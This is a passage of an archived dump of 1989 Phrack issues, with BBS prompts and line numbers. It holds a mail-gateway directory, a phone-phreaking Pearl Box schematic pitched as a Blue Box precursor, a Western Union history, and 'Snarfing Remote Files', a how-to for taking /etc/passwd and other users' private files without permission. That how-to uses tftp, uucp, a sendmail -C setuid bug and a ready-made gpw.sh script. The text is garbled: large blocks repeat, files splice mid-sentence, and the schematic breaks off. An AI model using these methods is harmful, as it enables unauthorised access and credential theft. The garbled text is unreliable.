  11276. Gen Directorate Of Post &                   AT&T Information Systems
  11277. Phone:  35806921730                         Lincroft, NJ  07738
  11278.                                             Phone:  +1 201 576 2658
  11279.  
  11280. MHS Gateway:  mhs!telemail                  MHS Gateway:  mhs
  11281. Administrator:  Jim Kelsay                  Administrator:  AT&T Mail MHS
  11282. GTE Telenet Comm Corp                                       Gateway
  11283. Reston, VA  22096                           AT&T
  11284. Phone:  +1 703 689 6034                     Lincroft, NJ  08838
  11285.                                             Phone:  +1 800 624 5672
  11286.  
  11287. CMR
  11288. ~~~
  11289. Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a
  11290. mail relay service between the Internet and three commercial electronic mail
  11291. systems:  US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail,
  11292. NSFMAIL, and USDA-MAIL).
  11293.  
  11294. An important note:  The only requirement for using this mail gateway is that
  11295. the work conducted must be DARPA sponsored research and other approved
  11296. government business.  Basically, this means that unless you've got some
  11297. government-related business, you're not supposed to be using this gateway.
  11298. Regardless, it would be very difficult for them to screen everything that goes
  11299. through their gateway.  Before I understood the requirements of this gateway, I
  11300. was sending to a user of MCI-Mail and was not contacted about any problems with
  11301. that communication.  Unfortunately, I mistyped the MCI-Mail address on one of
  11302. the letters and that letter ended up getting read by system administrators who
  11303. then informed me that I was not to be using that system, as well as the fact
  11304. that they would like to bill me for using it.  That was an interesting thought
  11305. on their part anyway, but do note that using this service does incur charges.
  11306.  
  11307. The CMR mailbox address in each system corresponds to the label:
  11308.  
  11309.           Telemail:  [Intermail/USCISI]TELEMAIL/USA
  11310.           MCI-Mail:  Intermail      or      107-8239
  11311.           CompMail:  Intermail      or      CMP0817
  11312.           NSF-Mail:  Intermail      or      NSF153
  11313.          USDA-Mail:  Intermail      or      AGS9999
  11314.  
  11315. Addressing examples for each e-mail system are as follows:
  11316.  
  11317. MCIMAIL:
  11318.    123-4567             seven digit address
  11319.    Everett T. Bowens    person's name (must be unique!)
  11320.  
  11321. COMPMAIL:
  11322.    CMP0123              three letters followed by three or four digits
  11323.    S.Cooper             initial, then "." and then last name
  11324.    134:CMP0123          domain, then ":" and then combination system and
  11325.                         account number
  11326.  
  11327. NSFMAIL:
  11328.    NSF0123              three letters followed by three or four digits
  11329.    A.Phillips           initial, then "." and then last name
  11330.    157:NSF0123          domain, then ":" and then combination system and
  11331.                          account number
  11332.  
  11333. USDAMAIL:
  11334.    AGS0123              three letters followed by three or four digits
  11335.    P.Shifter            initial, then "." and then last name
  11336.    157:AGS0123          domain, then ":" and then combination system and
  11337.                          account number
  11338.  
  11339. TELEMAIL:
  11340.    BARNOC               user (directly on Telemail)
  11341.    BARNOC/LODH          user/organization (directly on Telemail)
  11342.    [BARNOC/LODH]TELEMAIL/USA
  11343.                          [user/organization]system branch/country
  11344.  
  11345. The following are other Telenet system branches/countries that can be mailed
  11346. to:
  11347.  
  11348. TELEMAIL/USA     NASAMAIL/USA     MAIL/USA            TELEMEMO/AUSTRALIA
  11349. TELECOM/CANADA   TOMMAIL/CHILE    TMAILUK/GB          ITALMAIL/ITALY
  11350. ATI/JAPAN        PIPMAIL/ROC      DGC/USA             FAAMAIL/USA
  11351. GSFC/USA         GTEMAIL/USA      TM11/USA            TNET.TELEMAIL/USA
  11352. USDA/USA
  11353.  
  11354.      Note:  OMNET's ScienceNet is on the Telenet system MAIL/USA and to mail to
  11355. it, the format would be [A.MAILBOX/OMNET]MAIL/USA.  The following are available
  11356. subdivisions of OMNET:
  11357.  
  11358.          AIR     Atmospheric Sciences
  11359.          EARTH   Solid Earth Sciences
  11360.          LIFE    Life Sciences
  11361.          OCEAN   Ocean Sciences
  11362.          POLAR   Interdisciplinary Polar Studies
  11363.          SPACE   Space Science and Remote Sensing
  11364.  
  11365. The following is a list of DIALCOM systems available in the listed countries
  11366. with their domain and system numbers:
  11367.  
  11368. Service Name            Country             Domain Number    System Number
  11369. ~~~~~~~~~~~~            ~~~~~~~             ~~~~~~~~~~~~~    ~~~~~~~~~~~~~
  11370. Keylink-Dialcom         Australia           60               07, 08, 09
  11371. Dialcom                 Canada              20               20, 21, 22, 23, 24
  11372. DPT Databoks            Denmark             124              71
  11373. Telebox                 Finland             127              62
  11374. Telebox                 West Germany        30               15, 16
  11375. Dialcom                 Hong Kong           80               88, 89
  11376. Eirmail                 Ireland             100              74
  11377. Goldnet                 Israel              50               05, 06
  11378. Mastermail              Italy               130              65, 67
  11379. Mastermail              Italy               1                66, 68
  11380. Dialcom                 Japan               70               13, 14
  11381. Dialcom                 Korea               1                52
  11382. Telecom Gold            Malta               100              75
  11383. Dialcom                 Mexico              1                52
  11384. Memocom                 Netherlands         124              27, 28, 29
  11385. Memocom                 Netherlands         1                55
  11386. Starnet                 New Zealand         64               01, 02
  11387. Dialcom                 Puerto Rico         58               25
  11388. Telebox                 Singapore           88               10, 11, 12
  11389. Dialcom                 Taiwan              1                52
  11390. Telecom Gold            United Kingdom      100              01, 04, 17,
  11391. 80-89
  11392. DIALCOM                 USA                 1                29, 30, 31, 32,
  11393.                                                              33, 34, 37, 38,
  11394.                                                              41-59, 61, 62, 63,
  11395.                                                              90-99
  11396.  
  11397.  NOTE:  You can also mail to username@NASAMAIL.NASA.GOV or
  11398.         username@GSFCMAIL.NASA.GOV instead of going through the CMR gateway to
  11399.         mail to NASAMAIL or GSFCMAIL.
  11400.  
  11401. For more information and instructions on how to use CMR, send a message to the
  11402. user support group at intermail-request@intermail.isi.edu (you'll get basically
  11403. what I've listed plus maybe a bit more).  Please read Chapter 3 of The Future
  11404. Transcendent Saga (Limbo to Infinity) for specifics on mailing to these
  11405. destination mailing systems.
  11406.  
  11407. COMPUSERVE
  11408. ~~~~~~~~~~
  11409. CompuServe is well known for its games and conferences.  It does, though, have
  11410. mailing capability.  Now, they have developed their own Internet domain, called
  11411. COMPUSERVE.COM.  It is relatively new and mail can be routed through either
  11412. TUT.CIS.OHIO-STATE.EDU or NORTHWESTERN.ARPA.
  11413.  
  11414. Example: user%COMPUSERVE.COM@TUT.CIS.OHIO-STATE.EDU or replace
  11415.          TUT.CIS.OHIO-STATE.EDU with NORTHWESTERN.ARPA).
  11416.  
  11417. The CompuServe link appears to be a polled UUCP connection at the gateway
  11418. machine.  It is actually managed via a set of shell scripts and a comm utility
  11419. called xcomm, which operates via command scripts built on the fly by the shell
  11420. scripts during analysis of what jobs exist to go into and out of CompuServe.
  11421.  
  11422. CompuServe subscriber accounts of the form 7xxxx,yyyy can be addressed as
  11423. 7xxxx.yyyy@compuserve.com.  CompuServe employees can be addressed by their
  11424. usernames in the csi.compuserve.com subdomain.  CIS subscribers write mail to
  11425. ">inet:user@host.domain" to mail to users on the Wide-Area Networks, where
  11426. ">gateway:" is CompuServe's internal gateway access syntax.  The gateway
  11427. generates fully-RFC-compliant headers.
  11428.  
  11429. To fully extrapolate -- from the CompuServe side, you would use their EasyPlex
  11430. mail system to send mail to someone in BITNET or the Internet.   For example,
  11431. to send me mail at my Bitnet id, you would address it to:
  11432.  
  11433.             INET:C488869%UMCVMB.BITNET@CUNYVM.CUNY.EDU
  11434.  
  11435. Or to my Internet id:
  11436.  
  11437.             INET:C488869@UMCVMB.MISSOURI.EDU
  11438.  
  11439. Now, if you have a BITNET to Internet userid, this is a silly thing to do,
  11440. since your connect time to CompuServe costs you money.  However, you can use
  11441. this information to let people on CompuServe contact YOU.  CompuServe Customer
  11442. Service says that there is no charge to either receive or send a message to the
  11443. Internet or BITNET.
  11444.  
  11445. DASNET
  11446. ~~~~~~
  11447. DASnet is a smaller network that connects to the Wide-Area Networks but charges
  11448. for their service.  DASnet subscribers get charged for both mail to users on
  11449. other networks AND mail for them from users of other networks.  The following
  11450. is a brief description of DASnet, some of which was taken from their
  11451. promotional text letter.
  11452.  
  11453. DASnet allows you to exchange electronic mail with people on more than 20
  11454. systems and networks that are interconnected with DASnet.  One of the
  11455. drawbacks, though, is that, after being subscribed to these services, you must
  11456. then subscribe to DASnet, which is a separate cost.  Members of Wide-Area
  11457. networks can subscribe to DASnet too.  Some of the networks and systems
  11458. reachable through DASnet include the following:
  11459.  
  11460.      ABA/net, ATT Mail, BIX (Byte Information eXchange), DASnet Network,
  11461.      Dialcom, EIES, EasyLink, Envoy 100, FAX, GeoMail, INET, MCI Mail, NWI,
  11462.      PeaceNet/EcoNet, Portal Communications, The Meta Network, The Source,
  11463.      Telemail, ATI's Telemail (Japan), Telex, TWICS (Japan), UNISON, UUCP, The
  11464.      WELL, and Domains (i.e. ".COM" and ".EDU" etc.).  New systems are added
  11465.      all of the time.  As of the writing of this file, Connect, GoverNET,
  11466.      MacNET, and The American Institute of Physics PI-MAIL are soon to be
  11467.      connected.
  11468.  
  11469. You can get various accounts on DASnet including:
  11470.  
  11471.   o  Corporate Accounts -- If your organization wants more than one individual
  11472.                            subscription.
  11473.   o  Site Subscriptions -- If you want DASnet to link directly to your
  11474.              SAGE **
  11475. #EOI
  11476.  
  11477.  
  11478.  
  11479. [M] PHRACK: Type
  11480.  
  11481. Enter Filename : 
  11482.  
  11483. [M] PHRACK: Type
  11484.  
  11485. Enter Filename : 
  11486.  
  11487. [M] PHRACK: Type
  11488.  
  11489. Enter Filename : 
  11490.  
  11491. [M] PHRACK: Type
  11492.  
  11493. Enter Filename : 
  11494.  
  11495. [M] PHRACK: Type
  11496.  
  11497. Enter Filename : 
  11498.  
  11499. [M] PHRACK: Type
  11500.  
  11501. Enter Filename : 
  11502.  
  11503. [M] PHRACK: Type
  11504.  
  11505. Enter Filename : 
  11506.  
  11507. [M] PHRACK: Type
  11508.  
  11509. Enter Filename : 
  11510.  
  11511. [M] PHRACK: Type
  11512.  
  11513. Enter Filename : 
  11514.  
  11515.                                 ==Phrack Inc.==
  11516.  
  11517.                      Volume Three, Issue 28, File #5 of 12
  11518.  
  11519.                   /////////////////////\\\\\\\\\\\\\\\\\\\\\
  11520.                  ||                                        ||
  11521.                  || A Real Functioning PEARL BOX Schematic ||
  11522.                  ||                                        ||
  11523.                  ||        Written, Tested, and Used       ||
  11524.                  ||                                        ||
  11525.                  ||               by Dispater              ||
  11526.                  ||                                        ||
  11527.                  ||              July 1, 1989              ||
  11528.                  ||                                        ||
  11529.                   \\\\\\\\\\\\\\\\\\\\\/////////////////////
  11530.  
  11531.  
  11532. Introduction:  After reading the earlier renditions of schematics for the Pearl
  11533.                Box, I decided that there was an easier and cheaper way of doing
  11534.                the same thing with an IC and parts you probably have just
  11535.                laying around the house.
  11536.  
  11537.  
  11538. What Is A Pearl Box and Why Do I Want One?
  11539.  
  11540.      A Pearl Box is a tone generating device that is used to make a wide range
  11541.      of single tones.  Therefore, it would be very easy to modify this basic
  11542.      design to make a Blue Box by making 2 Pearl Boxes and joining them
  11543.      together in some fashion.
  11544.  
  11545.      A Pearl Box can be used to create any tone you wish that other boxes may
  11546.      not.  It also has a tone sweep option that can be used for numerous things
  11547.      like detecting different types of phone tapping devices.
  11548.  
  11549.  
  11550. Parts List:
  11551.  
  11552.         CD4049 RCA integrated circuit
  11553.         .1 uF disk capacitor
  11554.         1 uF 16V electrolitic capacitor
  11555.         1K resistor
  11556.         10M resistor
  11557.         1meg pot
  11558.         1N914 diode
  11559.         Some SPST momentary push-button switches
  11560.         1 SPDT toggle switch
  11561.         9 Volt battery & clip
  11562.         and miscellaneous stuff you should have laying around the house.
  11563.  
  11564.  
  11565. State-of-the-Art-Text Schematic:
  11566.                                        +  16V  1uF -
  11567.               _______________________________||_____
  11568.              |        !     !                ||     |           _
  11569.              |   _______________________            |__________| |/| 8ohms
  11570.          ____|__|_____:__|__:__|_       |            __________| | |
  11571.         | 9 10 11 12 13 14 15 16 |      |           |          |_|\|
  11572.         |        CD4049UBE       |      |           |
  11573.         |_1__2__3__4__5__6__7__8_|      :           |          _
  11574.           |  |  |__|  |__|  |  |____________________|_________[-]
  11575.           |  |  !           !           :                     [b]
  11576.           |  |__________________________|                     [a]
  11577.           |     :           :           |                     [t]
  11578.           |     !    1N914  !           !                     [t]
  11579.           |___________|/|_____________________________________[+]
  11580.                 :     |\|   :           :
  11581.                 |           |           |
  11582.                 |    10M    |           |
  11583.                 |___/\/\/\__|           |
  11584.                 |           |           |
  11585.                 |_____||____|           |  <-- These 2 wires to the center pole
  11586.                       ||    |           |      of switch.
  11587.                  .1uF   50V |           |
  11588.                             |           |
  11589.      _______________________|           |_____________________________
  11590.     |                   ___[Toggle Switch]____________                |
  11591.     |                  |                              |          ___  |
  11592.     |                  |                              |          o o  |
  11593.     |                  |                              | /\/\/\___| |__|
  11594.     |_/\/\/\____/\/\/\ |                              |    ^          |
  11595.         1K         ^   |                              |____|     ___  |
  11596.                    |___|                              |          o o  |
  11597.                                                       | /\/\/\___| |__|
  11598.           (pAakala                 Administrator:  Gary W. Krumbine
  11599. Gen Directorate Of Post &                   AT&T Information Systems
  11600. Phone:  35806921730                         Lincroft, NJ  07738
  11601.                                             Phone:  +1 201 576 2658
  11602.  
  11603. MHS Gateway:  mhs!telemail                  MHS Gateway:  mhs
  11604. Administrator:  Jim Kelsay                  Administrator:  AT&T Mail MHS
  11605. GTE Telenet Comm Corp                                       Gateway
  11606. Reston, VA  22096                           AT&T
  11607. Phone:  +1 703 689 6034                     Lincroft, NJ  08838
  11608.                                             Phone:  +1 800 624 5672
  11609.  
  11610. CMR
  11611. ~~~
  11612. Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a
  11613. mail relay service between the Internet and three commercial electronic mail
  11614. systems:  US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail,
  11615. NSFMAIL, and USDA-MAIL).
  11616.  
  11617. An important note:  The only requirement for using this mail gateway is that
  11618. the work conducted
  11619.  
  11620.                                ==Phrack Inc.==
  11621.  
  11622.                      Volume Three, Issue 28, File #6 of 12
  11623.                      +++++++++++++++++++++++++++++++++++++
  11624.                      +                                   +
  11625.                      +       Snarfing Remote Files       +
  11626.                      +                                   +
  11627.                      +                by                 +
  11628.                      +                                   +
  11629.                      +           Dark OverLord           +
  11630.                      +                                   +
  11631.                      +++++++++++++++++++++++++++++++++++++
  11632.  
  11633. There are many ways of getting copies of files from a remote system that you
  11634. do not have permission to read or an account on login on to and access them
  11635. through.  Many administrators do not even bother to restrict many access
  11636. points that you can use.
  11637.  
  11638. Here are the simplest ways:
  11639.  
  11640.  
  11641. A)  Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy
  11642.     of a file if you are running on an Internet based network.
  11643.  
  11644. B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file
  11645.    if uucp connections are running on that system.
  11646.  
  11647. C) Access one of many known security loopholes.
  11648.  
  11649.  
  11650. In the following examples, we will use the passwd file as the file to acquire
  11651. since it is a readable file that can be found on most systems that these
  11652. attacks are valid on.
  11653.  
  11654. Method A :
  11655.  
  11656. 1) First start the tftp program:
  11657.     Enter the command:
  11658.  
  11659.  tftp
  11660.  
  11661.     [You have the following prompt:]
  11662.  
  11663.  tftp>
  11664.  
  11665.  
  11666. 2) The next step is to connect to the system that you wish to retrieve files
  11667.     from.  At the tftp, type:
  11668.  
  11669.  tftp> connect other.system.com
  11670.  
  11671.  
  11672. 3) Now request the file you wish to get a copy of (in our case, the
  11673.     passwd file /etc/passwd ):
  11674.  
  11675.  tftp> get /etc/passwd /tmp/passwd
  11676.  
  11677.     [You should see something that looks like the following:]
  11678.  
  11679.  Received 185659 bytes in 22 seconds.
  11680.  
  11681. 4) Now exit the tftp program with the "quit" command:
  11682.  
  11683.  tftp> quit
  11684.  
  11685. You should now have a copy of other.system.com's passwd file in your directory.
  11686.  
  11687. NOTE:  Some Unix systems' tftp programs have a different syntax.  The above was
  11688.        tested under SunOS 4.0
  11689.  
  11690. For example, on Apollos, the syntax is:
  11691.  
  11692.     tftp -{g|g!|p|r|w} <local file> <host> <foreign file> [netascii|image]
  11693.  
  11694. Thus you must use the command:
  11695.  
  11696.  tftp -g password_file networked-host /etc/passwd
  11697.  
  11698. Consult your local "man" pages for more info (or in other words RTFM).
  11699.  
  11700. At the end of this article, I will include a shell script that will snarf a
  11701. password file from a remote host.  To use it type:
  11702.  
  11703.  gpw system_name
  11704.  
  11705. Method B :
  11706.  
  11707. Assuming we are getting the file  /etc/passwd  from the system uusucker, and
  11708. our system has a direct uucp connection to that system, it is possible to
  11709. request a copy of the file through the uucp links.  The following command will
  11710. request that a copy of the passwd file be copied into uucp's home directory
  11711. /usr/spool/uucppublic :
  11712.  
  11713.  uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd'
  11714.  
  11715. The flag "-m" means you will be notified by mail when the transfer is
  11716. completed.
  11717.  
  11718. Method C:
  11719.  
  11720.     The third possible way to access the desired file requires that you have
  11721. the login permission to the system.
  11722.  
  11723. In this case we will utilize a well-known bug in Unix's sendmail daemon.
  11724.  
  11725. The sendmail program has and option "-C" in which you can specify the
  11726. configuration file to use (by default this file is /usr/lib/sendmail.cf or
  11727. /etc/sendmail.cf).  It should also be noted that the diagnostics outputted by
  11728. sendmail contain the offending lines of text.  Also note that the sendmail
  11729. program runs setuid root.
  11730.  
  11731. The way you can abuse this set of facts (if you have not yet guessed) is by
  11732. specifying the file you wish read as the configuration file.  Thus the command:
  11733.  
  11734.  sendmail -C/usr/accounts/random_joe/private/file
  11735.  
  11736. Will give you a copy of random joe's private file.
  11737.  
  11738. Another similar trick is to symlink your .mailcf file to joe's file and mail
  11739. someone.  When mail executes sendmail (to send the mail), it will load in your
  11740. mailcf and barf out joe's stuff.
  11741.  
  11742. First, link joe's file to your .mailcf .
  11743.  
  11744.  ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf
  11745.  
  11746. Next, send mail to someone.
  11747.  
  11748.  mail C488869@umcvmb.missouri.edu
  11749.  
  11750. And have fun.
  11751.  
  11752. -=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
  11753. :
  11754. : gpw copyright(c) Dark Overlord
  11755. :
  11756. /usr/ucb/tftp $1 << EOF
  11757. mode ascii
  11758. verbose
  11759. trace
  11760. get /etc/passwd /tmp/pw.$1
  11761. quit
  11762. EOF
  11763. -=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
  11764. _______________________________________________________________________________
  11765.  
  11766. ** END OF MESSAGE **
  11767. #EOI
  11768.  
  11769.  
  11770.  
  11771. [M] PHRACK: Type
  11772.  
  11773.                                 ==Phrack Inc.==
  11774.  
  11775.                      Volume Three, Issue 28, File #5 of 12
  11776.  
  11777.                   /////////////////////\\\\\\\\\\\\\\\\\\\\\
  11778.                  ||                                        ||
  11779.                  || A Real Functioning PEARL BOX Schematic ||
  11780.                  ||                                        ||
  11781.                  ||        Written, Tested, and Used       ||
  11782.                  ||                                        ||
  11783.                  ||               by Dispater              ||
  11784.                  ||                                        ||
  11785.                  ||              July 1, 1989              ||
  11786.                  ||                                        ||
  11787.                   \\\\\\\\\\\\\\\\\\\\\/////////////////////
  11788.  
  11789.  
  11790. Introduction:  After reading the earlier renditions of schematics for the Pearl
  11791.                Box, I decided that there was an easier and cheaper way of doing
  11792.                the same thing with an IC and parts you probably have just
  11793.                laying around the house.
  11794.  
  11795.  
  11796. What Is A Pearl Box and Why Do I Want One?
  11797.  
  11798.      A Pearl Box is a tone generating device that is used to make a wide range
  11799.      of single tones.  Therefore, it would be very easy to modify this basic
  11800.      design to make a Blue Box by making 2 Pearl Boxes and joining them
  11801.      together in some fashion.
  11802.  
  11803.      A Pearl Box can be used to create any tone you wish that other boxes may
  11804.      not.  It also has a tone sweep option that can be used for numerous things
  11805.      like detecting different types of phone tapping devices.
  11806.  
  11807.  
  11808. Parts List:
  11809.  
  11810.         CD4049 RCA integrated circuit
  11811.         .1 uF disk capacitor
  11812.         1 uF 16V electrolitic capacitor
  11813.         1K resistor
  11814.         10M resistor
  11815.         1meg pot
  11816.         1N914 diode
  11817.         Some SPST momentary push-button switches
  11818.         1 SPDT toggle switch
  11819.         9 Volt battery & clip
  11820.         and miscellaneous stuff you should have laying around the house.
  11821.  
  11822.  
  11823. State-of-the-Art-Text Schematic:
  11824.                                        +  16V  1uF -
  11825.               _______________________________||_____
  11826.              |        !     !                ||     |           _
  11827.              |   _______________________            |__________| |/| 8ohms
  11828.          ____|__|_____:__|__:__|_       |            __________| | |
  11829.         | 9 10 11 12 13 14 15 16 |      |           |          |_|\|
  11830.         |        CD4049UBE       |      |           |
  11831.         |_1__2__3__4__5__6__7__8_|      :           |          _
  11832.           |  |  |__|  |__|  |  |____________________|_________[-]
  11833.           |  |  !           !           :                     [b]
  11834.           |  |__________________________|                     [a]
  11835.           |     :           :           |                     [t]
  11836.           |     !    1N914  !           !                     [t]
  11837.           |___________|/|_____________________________________[+]
  11838.                 :     |\|   :           :
  11839.                 |           |           |
  11840.                 |    10M    |           |
  11841.                 |___/\/\/\__|           |
  11842.                 |           |           |
  11843.                 |_____||____|           |  <-- These 2 wires to the center pole
  11844.                       ||    |           |      of switch.
  11845.                  .1uF   50V |           |
  11846.                             |           |
  11847.      _______________________|           |_____________________________
  11848.     |                   ___[Toggle Switch]____________                |
  11849.     |                  |                              |          ___  |
  11850.     |                  |                              |          o o  |
  11851.     |                  |                              | /\/\/\___| |__|
  11852.     |_/\/\/\____/\/\/\ |                              |    ^          |
  11853.         1K         ^   |                              |____|     ___  |
  11854.                    |___|                              |          o o  |
  11855.                                                       | /\/\/\___| |__|
  11856.           (pAakala                 Administrator:  Gary W. Krumbine
  11857. Gen Directorate Of Post &                   AT&T Information Systems
  11858. Phone:  35806921730                         Lincroft, NJ  07738
  11859.                                             Phone:  +1 201 576 2658
  11860.  
  11861. MHS Gateway:  mhs!telemail                  MHS Gateway:  mhs
  11862. Administrator:  Jim Kelsay                  Administrator:  AT&T Mail MHS
  11863. GTE Telenet Comm Corp                                       Gateway
  11864. Reston, VA  22096                           AT&T
  11865. Phone:  +1 703 689 6034                     Lincroft, NJ  08838
  11866.                                             Phone:  +1 800 624 5672
  11867.  
  11868. CMR
  11869. ~~~
  11870. Previously known as Intermail, the Commercial Mail Relay (CMR) Service is a
  11871. mail relay service between the Internet and three commercial electronic mail
  11872. systems:  US Sprint/Telenet, MCI-Mail, and DIALCOM systems (i.e. Compmail,
  11873. NSFMAIL, and USDA-MAIL).
  11874.  
  11875. An important note:  The only requirement for using this mail gateway is that
  11876. the work conducted
  11877.  
  11878.                                ==Phrack Inc.==
  11879.  
  11880.                      Volume Three, Issue 28, File #6 of 12
  11881.                      +++++++++++++++++++++++++++++++++++++
  11882.                      +                                   +
  11883.                      +       Snarfing Remote Files       +
  11884.                      +                                   +
  11885.                      +                by                 +
  11886.                      +                                   +
  11887.                      +           Dark OverLord           +
  11888.                      +                                   +
  11889.                      +++++++++++++++++++++++++++++++++++++
  11890.  
  11891. There are many ways of getting copies of files from a remote system that you
  11892. do not have permission to read or an account on login on to and access them
  11893. through.  Many administrators do not even bother to restrict many access
  11894. points that you can use.
  11895.  
  11896. Here are the simplest ways:
  11897.  
  11898.  
  11899. A)  Use uucp(1) [Trivial File Transfer Protocol] to retrieve a copy
  11900.     of a file if you are running on an Internet based network.
  11901.  
  11902. B) Abuse uucp(1) [Unix to Unix Copy Program] to retrieve a copy of a file
  11903.    if uucp connections are running on that system.
  11904.  
  11905. C) Access one of many known security loopholes.
  11906.  
  11907.  
  11908. In the following examples, we will use the passwd file as the file to acquire
  11909. since it is a readable file that can be found on most systems that these
  11910. attacks are valid on.
  11911.  
  11912. Method A :
  11913.  
  11914. 1) First start the tftp program:
  11915.     Enter the command:
  11916.  
  11917.  tftp
  11918.  
  11919.     [You have the following prompt:]
  11920.  
  11921.  tftp>
  11922.  
  11923.  
  11924. 2) The next step is to connect to the system that you wish to retrieve files
  11925.     from.  At the tftp, type:
  11926.  
  11927.  tftp> connect other.system.com
  11928.  
  11929.  
  11930. 3) Now request the file you wish to get a copy of (in our case, the
  11931.     passwd file /etc/passwd ):
  11932.  
  11933.  tftp> get /etc/passwd /tmp/passwd
  11934.  
  11935.     [You should see something that looks like the following:]
  11936.  
  11937.  Received 185659 bytes in 22 seconds.
  11938.  
  11939. 4) Now exit the tftp program with the "quit" command:
  11940.  
  11941.  tftp> quit
  11942.  
  11943. You should now have a copy of other.system.com's passwd file in your directory.
  11944.  
  11945. NOTE:  Some Unix systems' tftp programs have a different syntax.  The above was
  11946.        tested under SunOS 4.0
  11947.  
  11948. For example, on Apollos, the syntax is:
  11949.  
  11950.     tftp -{g|g!|p|r|w} <local file> <host> <foreign file> [netascii|image]
  11951.  
  11952. Thus you must use the command:
  11953.  
  11954.  tftp -g password_file networked-host /etc/passwd
  11955.  
  11956. Consult your local "man" pages for more info (or in other words RTFM).
  11957.  
  11958. At the end of this article, I will include a shell script that will snarf a
  11959. password file from a remote host.  To use it type:
  11960.  
  11961.  gpw system_name
  11962.  
  11963. Method B :
  11964.  
  11965. Assuming we are getting the file  /etc/passwd  from the system uusucker, and
  11966. our system has a direct uucp connection to that system, it is possible to
  11967. request a copy of the file through the uucp links.  The following command will
  11968. request that a copy of the passwd file be copied into uucp's home directory
  11969. /usr/spool/uucppublic :
  11970.  
  11971.  uucp -m uusucker!/etc/passwd '>uucp/uusucker_passwd'
  11972.  
  11973. The flag "-m" means you will be notified by mail when the transfer is
  11974. completed.
  11975.  
  11976. Method C:
  11977.  
  11978.     The third possible way to access the desired file requires that you have
  11979. the login permission to the system.
  11980.  
  11981. In this case we will utilize a well-known bug in Unix's sendmail daemon.
  11982.  
  11983. The sendmail program has and option "-C" in which you can specify the
  11984. configuration file to use (by default this file is /usr/lib/sendmail.cf or
  11985. /etc/sendmail.cf).  It should also be noted that the diagnostics outputted by
  11986. sendmail contain the offending lines of text.  Also note that the sendmail
  11987. program runs setuid root.
  11988.  
  11989. The way you can abuse this set of facts (if you have not yet guessed) is by
  11990. specifying the file you wish read as the configuration file.  Thus the command:
  11991.  
  11992.  sendmail -C/usr/accounts/random_joe/private/file
  11993.  
  11994. Will give you a copy of random joe's private file.
  11995.  
  11996. Another similar trick is to symlink your .mailcf file to joe's file and mail
  11997. someone.  When mail executes sendmail (to send the mail), it will load in your
  11998. mailcf and barf out joe's stuff.
  11999.  
  12000. First, link joe's file to your .mailcf .
  12001.  
  12002.  ln -s /usr/accounts/random_joe/private/file $HOME/.mailcf
  12003.  
  12004. Next, send mail to someone.
  12005.  
  12006.  mail C488869@umcvmb.missouri.edu
  12007.  
  12008. And have fun.
  12009.  
  12010. -=-Cut Here=-=-=-Cut Here=-=-=- gpw.sh =-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
  12011. :
  12012. : gpw copyright(c) Dark Overlord
  12013. :
  12014. /usr/ucb/tftp $1 << EOF
  12015. mode ascii
  12016. verbose
  12017. trace
  12018. get /etc/passwd /tmp/pw.$1
  12019. quit
  12020. EOF
  12021. -=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-Cut Here=-=-=-=-Cut Here=-=-=-=-=
  12022. _______________________________________________________________________________
  12023.  
  12024. ** END OF MESSAGE **
  12025. #EOI
  12026.  
  12027.  
  12028.  
  12029. [M] PHRACK: Type
  12030.  
  12031.                                 ==Phrack Inc==
  12032.  
  12033.                     Volume Three, Issue 30, File #10 of 12
  12034.  
  12035.                    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  12036.                    ===                                   ===
  12037.                    ===           Western Union           ===
  12038.                    ===   Telex, TWX, and Time Service    ===
  12039.                    ===                                   ===
  12040.                    ===         by Phone Phanatic         ===
  12041.                    ===                                   ===
  12042.                    ===        September 17, 1989         ===
  12043.                    ===                                   ===
  12044.                    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  12045.  
  12046.          "Until a few years ago -- maybe ten -- it was very common to
  12047.           see TWX and Telex machines in almost every business place."
  12048.  
  12049. There were only minor differences between Telex and TWX.  The biggest
  12050. difference was that the former was always run by Western Union, while the
  12051. latter was run by the Bell System for a number of years.  TWX literally meant
  12052. "(T)ype(W)riter e(x)change," and it was Bell's answer to competition from
  12053. Western Union.  There were "three row" and "four row" machines, meaning the
  12054. number of keys on the keyboard and how they were laid out.  The "three row"
  12055. machines were simply part of the regular phone network; that is, they could
  12056. dial out and talk to another TWX also connected on regular phone lines.
  12057.  
  12058. Eventually these were phased out in favor of "newer and more improved" machines
  12059. with additional keys, as well as a paper tape reader attachment which allowed
  12060. sending the same message repeatedly to many different machines.  These "four
  12061. row" machines were not on the regular phone network, but were assigned their
  12062. own area codes (410-510-610-710-810-910) where they still remain today.  The
  12063. only way a four row machine could call a three row machine or vice-versa was
  12064. through a gateway of sorts which translated some of the character set unique to
  12065. each machine.
  12066.  
  12067. Western Union's network was called Telex and in addition to being able to
  12068. contact (by dial up) other similar machines, Telex could connect with TWX (and
  12069. vice-versa) as well as all the Western Union public offices around the country.
  12070. Until the late 1950's or early 1960's, every small town in America had a
  12071. Western Union office.  Big cities like Chicago had perhaps a dozen of them, and
  12072. they used messengers to hand deliver telegrams around town.  Telegrams could be
  12073. placed in person at any public office, or could be called in to the nearest
  12074. public office.
  12075.  
  12076. By arrangement with most telcos, the Western Union office in town nearly always
  12077. had the phone number 4321, later supplemented in automated exchanges with some
  12078. prefix XXX-4321.  Telegrams could be charged to your home phone bill (this is
  12079. still the case in some communities) and from a coin phone, one did not ask for
  12080. 4321, but rather, called the operator and asked for Western Union.  This was
  12081. necessary since once the telegram had been given verbally to the wire clerk,
  12082. s/he in turn had to flash the hook and get your operator back on the line to
  12083. tell them "collect five dollars and twenty cents" or whatever the cost was.
  12084. Telegrams, like phone calls, could be sent collect or billed third party.  If
